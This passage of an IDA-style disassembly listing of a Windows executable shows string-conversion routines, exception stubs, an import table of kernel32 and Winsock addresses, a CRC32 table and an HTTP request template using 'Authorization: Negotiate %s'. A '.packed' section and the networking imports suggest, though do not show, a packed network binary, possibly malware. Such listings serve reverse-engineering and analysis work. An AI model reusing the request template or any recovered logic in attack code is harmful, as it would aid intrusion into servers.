		mov	eax, edi
		jmp	short loc_42682D
; ---------------------------------------------------------------------------


loc_42682B:				; CODE XREF: sub_426636+66j
					; sub_426636+B5j ...
		xor	eax, eax


loc_42682D:				; CODE XREF: sub_426636+ADj
					; sub_426636+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426636	endp


; =============== S U B	R O U T	I N E =======================================



sub_42683F	proc near		; CODE XREF: sub_426636+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42685E


loc_42684F:				; CODE XREF: sub_42683F+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_42685E
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_42684F


loc_42685E:				; CODE XREF: sub_42683F+Ej
					; sub_42683F+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_42686C
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_42686C:				; CODE XREF: sub_42683F+24j
		mov	eax, edx
		retn
sub_42683F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42686F	proc near		; CODE XREF: sub_4265C1+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_4268AF
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426893
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43CE7C
		mov	ax, [ecx+eax*2]
		jmp	short loc_4268B6
; ---------------------------------------------------------------------------


loc_426893:				; CODE XREF: sub_42686F+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_4268C1
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4268B3


loc_4268AF:				; CODE XREF: sub_42686F+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4268B3:				; CODE XREF: sub_42686F+3Ej
		mov	eax, [ebp+var_4]


loc_4268B6:				; CODE XREF: sub_42686F+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_42686F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268C1	proc near		; CODE XREF: sub_42686F+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D48
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DC014
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426930
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427920
		push	esi
		call	dword_427014	; GetStringTypeW
		test	eax, eax
		jz	short loc_42690E
		mov	eax, esi
		jmp	short loc_42692B
; ---------------------------------------------------------------------------


loc_42690E:				; CODE XREF: sub_4268C1+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4CB88C
		push	esi
		push	edi
		call	dword_427018	; GetStringTypeA
		test	eax, eax
		jz	loc_426A72
		push	2
		pop	eax


loc_42692B:				; CODE XREF: sub_4268C1+4Bj
		mov	dword_4DC014, eax


loc_426930:				; CODE XREF: sub_4268C1+2Fj
		cmp	eax, 1
		jnz	short loc_42694C
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_427014	; GetStringTypeW
		jmp	loc_426A74
; ---------------------------------------------------------------------------


loc_42694C:				; CODE XREF: sub_4268C1+72j
		cmp	eax, 2
		jnz	loc_426A72
		cmp	[ebp+arg_10], edi
		jnz	short loc_426962
		mov	eax, dword_4DBE94
		mov	[ebp+arg_10], eax


loc_426962:				; CODE XREF: sub_4268C1+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	dword_427188	; WideCharToMultiByte
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426A72
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4269C0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_4269C0:				; CODE XREF: sub_4268C1+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426A72
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	dword_427188	; WideCharToMultiByte
		test	eax, eax
		jz	loc_426A72
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426A15
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426A15:				; CODE XREF: sub_4268C1+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426A72
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426A29
		mov	eax, dword_4DBE84


loc_426A29:				; CODE XREF: sub_4268C1+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		call	dword_427018	; GetStringTypeA
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426A72
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426A72
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41D670
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426A74
; ---------------------------------------------------------------------------


loc_426A72:				; CODE XREF: sub_4268C1+61j
					; sub_4268C1+8Ej ...
		xor	eax, eax


loc_426A74:				; CODE XREF: sub_4268C1+86j
					; sub_4268C1+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4268C1	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_426A88	proc near		; DATA XREF: .packed:00427EFCo

; FUNCTION CHUNK AT 0040D76C SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D76C
sub_426A88	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426AA6
		mov	ecx, [ebp+8]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------

locret_426AA6:				; CODE XREF: .packed:00426A98j
		retn
; ---------------------------------------------------------------------------


loc_426AA7:				; DATA XREF: sub_40D340o
		mov	eax, offset dword_427ED0
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426ABC:				; DATA XREF: .packed:00427F2Co
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426AC4:				; DATA XREF: sub_40D4E2o
		mov	eax, offset dword_427F00
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		align 10h


loc_426AD0:				; DATA XREF: sub_40DA4Fo
		mov	eax, offset dword_427F30
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426AE2:				; DATA XREF: sub_4260FEo
		mov	eax, offset dword_427F90
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426AF4:				; DATA XREF: sub_426173o
		mov	eax, offset dword_428028
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426B06:				; DATA XREF: sub_4261D0o
		mov	eax, offset dword_42804C
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426B18:				; DATA XREF: sub_426218o
		mov	eax, offset dword_428070
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426B2A:				; DATA XREF: sub_42629Ao
		mov	eax, offset dword_4280D0
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		dd 133h	dup(0)
dword_427000	dd 77E78EAAh		; DATA XREF: sub_41036B+5ECr
					; sub_41716F+C0r ...
dword_427004	dd 77E70192h		; DATA XREF: sub_4251BB+F9r
dword_427008	dd 77E7176Ch		; DATA XREF: sub_424FB8+8r
dword_42700C	dd 77E7339Ch		; DATA XREF: sub_424F80+Cr
dword_427010	dd 77E7C9E7h		; DATA XREF: sub_424F62+5r
					; sub_424F73+6r
dword_427014	dd 77E7C866h		; DATA XREF: sub_4244F4+3Fr
					; sub_4244F4+12Dr ...
dword_427018	dd 77E641EBh		; DATA XREF: sub_4244F4+59r
					; sub_4244F4+8Dr ...
dword_42701C	dd 77E73FF9h		; DATA XREF: sub_4240E7+2Cr
dword_427020	dd 77E7FF2Eh		; DATA XREF: sub_423FB9:loc_424009r
					; sub_424030:loc_424083r
dword_427024	dd 77E78406h		; DATA XREF: sub_423B0B+FFr
					; sub_423B0B+166r ...
dword_427028	dd 77E79C3Dh		; DATA XREF: sub_423B0B+158r
					; sub_423DD1+143r
dword_42702C	dd 77E7C931h		; DATA XREF: sub_423B0B+19Dr
dword_427030	dd 77E77EE1h		; DATA XREF: sub_4239D9+9r
dword_427034	dd 77E67702h		; DATA XREF: sub_4239D9:loc_423A08r
					; sub_4239D9+E1r
dword_427038	dd 77E7C9E1h		; DATA XREF: sub_4239D9+CEr
dword_42703C	dd 77E9C5B1h		; DATA XREF: sub_4239D9+11Fr
dword_427040	dd 77EB9A84h		; DATA XREF: sub_4234F7+138r
dword_427044	dd 77E781F9h		; DATA XREF: sub_4232A8+42r
					; sub_4232A8+14Dr ...
dword_427048	dd 77E77405h		; DATA XREF: sub_4232A8+5Er
					; sub_4232A8+A7r ...
dword_42704C	dd 77F522F2h		; DATA XREF: sub_422EA8+58r
dword_427050	dd 77E6D706h		; DATA XREF: sub_42194C+215r
					; sub_426587+2Er
dword_427054	dd 77E6C703h		; DATA XREF: sub_4208E2+1Ar
dword_427058	dd 77E7A13Fh		; DATA XREF: sub_4208E2+2Fr
dword_42705C	dd 77E7849Fh		; DATA XREF: sub_420749+48r
					; sub_420988+14r
dword_427060	dd 77E73196h		; DATA XREF: sub_424F9C+Cr
dword_427064	dd 77E7980Ah		; DATA XREF: sub_41ED74+76r
					; sub_41EE25+51r ...
dword_427068	dd 77E79E34h		; DATA XREF: sub_41E742+240r
					; sub_41F216+120r ...
dword_42706C	dd 77E75CB5h		; DATA XREF: sub_40111D+DFr
					; sub_401221+7Ar ...
dword_427070	dd 77E77963h		; DATA XREF: sub_40111D+B8r
					; sub_401221+2DBr ...
dword_427074	dd 77E61BB8h		; DATA XREF: sub_40111D+A7r
					; sub_401221+2C3r ...
dword_427078	dd 77E7A099h		; DATA XREF: sub_40111D+83r
					; sub_401221+DAr ...
dword_42707C	dd 77E704FCh		; DATA XREF: sub_40111D+74r
					; sub_401221+C4r ...
dword_427080	dd 77E61BE6h		; DATA XREF: sub_40111D+29r
					; sub_401221+1F4r ...
dword_427084	dd 77E7AC37h		; DATA XREF: sub_401221+3C1r
					; sub_401ACD+79Fr ...
dword_427088	dd 77E73628h		; DATA XREF: sub_401221+33Br
					; sub_401ACD+76D4r ...
dword_42708C	dd 77E706B7h		; DATA XREF: sub_401221:loc_401495r
					; sub_41761C+15r ...
dword_427090	dd 77E80656h		; DATA XREF: sub_401221+267r
dword_427094	dd 77F5157Dh		; DATA XREF: sub_401221+1D8r
					; sub_401221+3E6r ...
dword_427098	dd 77E6BD13h		; DATA XREF: sub_401221:loc_4013DCr
dword_42709C	dd 77E70396h		; DATA XREF: sub_401221+1B5r
					; sub_401221+221r ...
dword_4270A0	dd 77E74CABh		; DATA XREF: sub_401221+19Er
					; sub_4100B4+110r ...
dword_4270A4	dd 77E79F93h		; DATA XREF: sub_401221+D3r
					; sub_409909+2r ...
dword_4270A8	dd 77E79D5Bh		; DATA XREF: sub_401221+6Br
					; sub_401221+311r ...
dword_4270AC	dd 77E7C2C4h		; DATA XREF: sub_401221+64r
dword_4270B0	dd 77E7751Ah		; DATA XREF: sub_401221+2Cr
					; sub_401ACD+253Br ...
dword_4270B4	dd 77E75CEBh		; DATA XREF: sub_401ACD+791Ar
					; sub_40B4F5+2Br ...
dword_4270B8	dd 77E6AD34h		; DATA XREF: sub_401ACD+68CFr
					; sub_4188A6+35r
dword_4270BC	dd 77E71AFEh		; DATA XREF: sub_401ACD+6697r
dword_4270C0	dd 77E805D8h		; DATA XREF: sub_409909+13Ar
					; sub_409909:loc_409E17r ...
dword_4270C4	dd 77E7A5FDh		; DATA XREF: sub_409909+11r
					; sub_4172C1+60r ...
dword_4270C8	dd 77E65F4Ch		; DATA XREF: .packed:0040ABEDr
					; sub_419AE0+34r
dword_4270CC	dd 77E7513Ch		; DATA XREF: .packed:0040AC84r
					; .packed:0040B0C3r
dword_4270D0	dd 77E7C657h		; DATA XREF: .packed:0040ACF8r
					; .packed:0040AF0Fr ...
dword_4270D4	dd 77E73C49h		; DATA XREF: sub_40B425+4Ar
					; sub_40BB65+1AFr ...
dword_4270D8	dd 77F7E300h		; DATA XREF: sub_40C3E8+142r
dword_4270DC	dd 77F7E21Fh		; DATA XREF: sub_40C3E8+D7r
dword_4270E0	dd 77E7C706h		; DATA XREF: sub_40C600+77r
dword_4270E4	dd 77F53275h		; DATA XREF: sub_40C600+6Br
					; sub_40C600+22Fr
dword_4270E8	dd 77E77CCEh		; DATA XREF: sub_40DB5E+66r
					; sub_40DC41+65r ...
dword_4270EC	dd 77E78B82h		; DATA XREF: .packed:0040E081r
					; sub_40EED1+25r ...
dword_4270F0	dd 77E79D8Ch		; DATA XREF: .packed:0040E04Fr
					; sub_40EE8E+3Br ...
dword_4270F4	dd 77E73EACh		; DATA XREF: .packed:0040E035r
dword_4270F8	dd 77E7A837h		; DATA XREF: .packed:0040DFB4r
					; sub_4100B4+1CBr ...
dword_4270FC	dd 77E616B4h		; DATA XREF: sub_40EF1C+19Br
					; sub_4116D6+115r ...
dword_427100	dd 77E79CE3h		; DATA XREF: sub_40EF1C+111r
					; sub_411920+77r ...
dword_427104	dd 77E79C90h		; DATA XREF: sub_40EF1C+FDr
					; sub_40EF1C+10Ar ...
dword_427108	dd 77E7727Ah		; DATA XREF: sub_40EF1C+74r
					; sub_411827+23r ...
dword_42710C	dd 77E64106h		; DATA XREF: sub_40FF31+A0r
					; sub_41AF8F+1B6r
dword_427110	dd 77E64006h		; DATA XREF: sub_40FF31+8Cr
					; sub_41AF8F+19Fr
dword_427114	dd 77E793EFh		; DATA XREF: sub_4100B4+1F5r
					; sub_4109F1+38r ...
dword_427118	dd 77E79424h		; DATA XREF: sub_41036B+280r
					; sub_41761C+135r
dword_42711C	dd 77E794BFh		; DATA XREF: sub_41036B+272r
					; sub_41761C+123r
dword_427120	dd 77E75E67h		; DATA XREF: sub_41036B+212r
					; sub_41036B+5DBr ...
dword_427124	dd 77E75D9Eh		; DATA XREF: sub_41036B+201r
					; sub_41716F+26r
dword_427128	dd 77E78C81h		; DATA XREF: sub_4109F1+6Cr
					; sub_4161C1+259r ...
dword_42712C	dd 77E76968h		; DATA XREF: sub_41144E+5Fr
dword_427130	dd 77E74C59h		; DATA XREF: sub_4116D6+C7r
dword_427134	dd 77EC7C51h		; DATA XREF: sub_411AAB+5Er
dword_427138	dd 77E802FCh		; DATA XREF: sub_413694+18Cr
					; sub_413694+2D4r ...
dword_42713C	dd 77E6D75Bh		; DATA XREF: sub_413694+182r
					; sub_4143F7+FFr
dword_427140	dd 77E70F89h		; DATA XREF: sub_415D38+Dr
dword_427144	dd 77E80618h		; DATA XREF: sub_4172C1+170r
					; sub_418AF1+D4r
dword_427148	dd 77E78147h		; DATA XREF: sub_4172C1+BCr
dword_42714C	dd 77F51597h		; DATA XREF: sub_417493+41r
					; sub_417493+F5r ...
dword_427150	dd 77F516F8h		; DATA XREF: sub_417493+21r
					; sub_41761C+4Ar ...
dword_427154	dd 77E77CB7h		; DATA XREF: sub_417493+10r
					; sub_41761C+40r ...
dword_427158	dd 77E7F01Ah		; DATA XREF: sub_41761C+88r
					; sub_4177C3+55r
dword_42715C	dd 77E61A54h		; DATA XREF: sub_41761C+56r
					; sub_4177C3+97r
dword_427160	dd 77E7C3A5h		; DATA XREF: sub_41761C+34r
					; sub_4177C3+2Er
dword_427164	dd 77E76A60h		; DATA XREF: sub_418699+2Dr
dword_427168	dd 77E71B14h		; DATA XREF: sub_418723+26r
dword_42716C	dd 77E7166Fh		; DATA XREF: sub_418723+1Dr
dword_427170	dd 77E75090h		; DATA XREF: sub_41875E+69r
dword_427174	dd 77E74D76h		; DATA XREF: sub_41875E+36r
dword_427178	dd 77E77797h		; DATA XREF: sub_41875E+25r
dword_42717C	dd 77E7011Ah		; DATA XREF: sub_4187E0+96r
dword_427180	dd 77E73CE2h		; DATA XREF: sub_4187E0+60r
dword_427184	dd 77E668D9h		; DATA XREF: sub_4188A6+15Dr
dword_427188	dd 77E79924h		; DATA XREF: sub_4190A5+13r
					; sub_4232A8+20Dr ...
dword_42718C	dd 77E76A2Eh		; DATA XREF: sub_419C09+DEr
dword_427190	dd 77E7FF65h		; DATA XREF: sub_41A05C+5Ar
dword_427194	dd 77EB7624h		; DATA XREF: sub_41A05C+3Dr
dword_427198	dd 77E6C29Dh		; DATA XREF: sub_41A6EA+1EBr
dword_42719C	dd 77E76C1Ah		; DATA XREF: sub_41AF8F+1CFr
dword_4271A0	dd 77F5722Fh		; DATA XREF: sub_41BBE2+110r
					; sub_41BBE2+22Dr ...
dword_4271A4	dd 77F6183Eh		; DATA XREF: sub_426356r
dword_4271A8	dd 77E6177Ah		; DATA XREF: sub_41E1D3+9Fr
					; sub_423B0B+59r
dword_4271AC	dd 77E7C938h		; DATA XREF: sub_41E1D3+74r
dword_4271B0	dd 77E7C486h		; DATA XREF: sub_41E1D3+26r
dword_4271B4	dd 77E7AC5Eh		; DATA XREF: sub_41E52A+54r
dword_4271B8	dd 77E76E0Bh		; DATA XREF: sub_41E672+50r
dword_4271BC	dd 77E7C726h		; DATA XREF: sub_41E672+11r
		dd 0
dword_4271C4	dd 71AB5A01h		; DATA XREF: sub_4157BA+20r
dword_4271C8	dd 71AB4122h		; DATA XREF: sub_4156D1+D4r
dword_4271CC	dd 71AB1746h		; DATA XREF: sub_4131EC+1DEr
dword_4271D0	dd 71AB401Ch		; DATA XREF: sub_4131EC+21Br
					; sub_4131EC+243r
dword_4271D4	dd 71AB1836h		; DATA XREF: sub_40F9BF+6Er
					; sub_40FA3C+8Er
dword_4271D8	dd 71AB41DAh		; DATA XREF: sub_40F3AA+4Ar
					; sub_40F9BF+15r
dword_4271DC	dd 71AB3F8Dh		; DATA XREF: sub_40F3AA+5Ar
dword_4271E0	dd 71AB155Ah		; DATA XREF: sub_40F3AA+8Dr
					; sub_414251+70r ...
dword_4271E4	dd 71AB3ECEh		; DATA XREF: sub_40F3AA+B5r
dword_4271E8	dd 71AB5DE2h		; DATA XREF: sub_40F3AA+C9r
dword_4271EC	dd 71AB868Dh		; DATA XREF: sub_40F3AA+171r
dword_4271F0	dd 71AB12F8h		; DATA XREF: sub_40E9FB+27r
					; sub_40F9BF+35r ...
dword_4271F4	dd 71AB1746h		; DATA XREF: sub_40E9FB+36r
					; sub_40F9BF+41r ...
dword_4271F8	dd 71AB3E5Dh		; DATA XREF: sub_40E9FB+59r
					; sub_40EAE9+45r ...
dword_4271FC	dd 71AB5690h		; DATA XREF: sub_40E9FB+6Ar
					; sub_40F3AA+1E1r
dword_427200	dd 71AB1A6Dh		; DATA XREF: sub_40E9FB+E0r
					; sub_40EAE9:loc_40EB55r ...
dword_427204	dd 71AB3C22h		; DATA XREF: .packed:0040D64Cr
					; sub_40E9FB+45r ...
dword_427208	dd 71AB1AF4h		; DATA XREF: sub_40D2A2+12r
					; sub_40E9FB+C3r ...
dword_42720C	dd 71AB1890h		; DATA XREF: sub_40D104+4Cr
					; sub_40F3AA+106r
dword_427210	dd 71AB1B7Bh		; DATA XREF: sub_426350r
dword_427214	dd 71AB157Eh		; DATA XREF: sub_401ACD+2F5Fr
		align 10h
dword_427220	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427620	dd 2Eh			; DATA XREF: sub_401ACD+3428o
					; sub_401ACD+3514o ...
dword_427624	dd 2Eh			; DATA XREF: sub_401ACD+3850o
					; sub_401ACD+388Ao ...
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4E2+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427668	dq 1.388888888888889e-2	; DATA XREF: sub_40D2F4+2Fr
dbl_427670	dq 1.666666666666667e-1	; DATA XREF: sub_40D2F4+15r
dword_427678	dd 0FFFFFFFFh		; DATA XREF: sub_40D340+16Fr
					; sub_40D774r ...
		align 10h
dbl_427680	dq 1.333333333333333	; DATA XREF: sub_40D340+79r
dword_427688	dd 2 dup(0)		; DATA XREF: sub_40D4E2+4Do
					; sub_40D824+5Bo ...
dbl_427690	dq 9.765625e-4		; DATA XREF: sub_4167A0+2BDr
					; sub_4167A0+2D8r ...
dbl_427698	dq -1.52587890625e-4	; DATA XREF: sub_417E84+3E5r
dbl_4276A0	dq 3.0517578125e-4	; DATA XREF: sub_417E84+3C5r
dbl_4276A8	dq -3.0517578125e-4	; DATA XREF: sub_417E84+342r
					; sub_417E84+3A7r
dbl_4276B0	dq 1.52587890625e-4	; DATA XREF: sub_417E84+271r
dbl_4276B8	dq -1.739501953125e-3	; DATA XREF: sub_417E84+24Br
					; sub_417E84+2D5r ...
dbl_4276C0	dq 3.11279296875e-3	; DATA XREF: sub_417E84+E1r
dbl_4276C8	dq 3.0517578125e-5	; DATA XREF: sub_417E84+AEr
					; sub_417E84+138r ...
dbl_4276D0	dq 6.103515625e-5	; DATA XREF: sub_417E84+93r
					; sub_417E84+308r
dbl_4276D8	dq 2.288818359375e-3	; DATA XREF: sub_417E84+21r
dbl_4276E0	dq -3.0517578125e-5	; DATA XREF: sub_418BD1+2Br
flt_4276E8	dd 9.765625e-4		; DATA XREF: sub_41AA1E+1B0r
flt_4276EC	dd 8.0			; DATA XREF: sub_41AA1E+1AAr
flt_4276F0	dd 0.0			; DATA XREF: sub_41AA1E+171r
flt_4276F4	dd 1.0e-3		; DATA XREF: sub_41AA1E+168r
dbl_4276F8	dq 1.0			; DATA XREF: sub_41D055+6Cr
					; sub_41D19B+6Cr ...
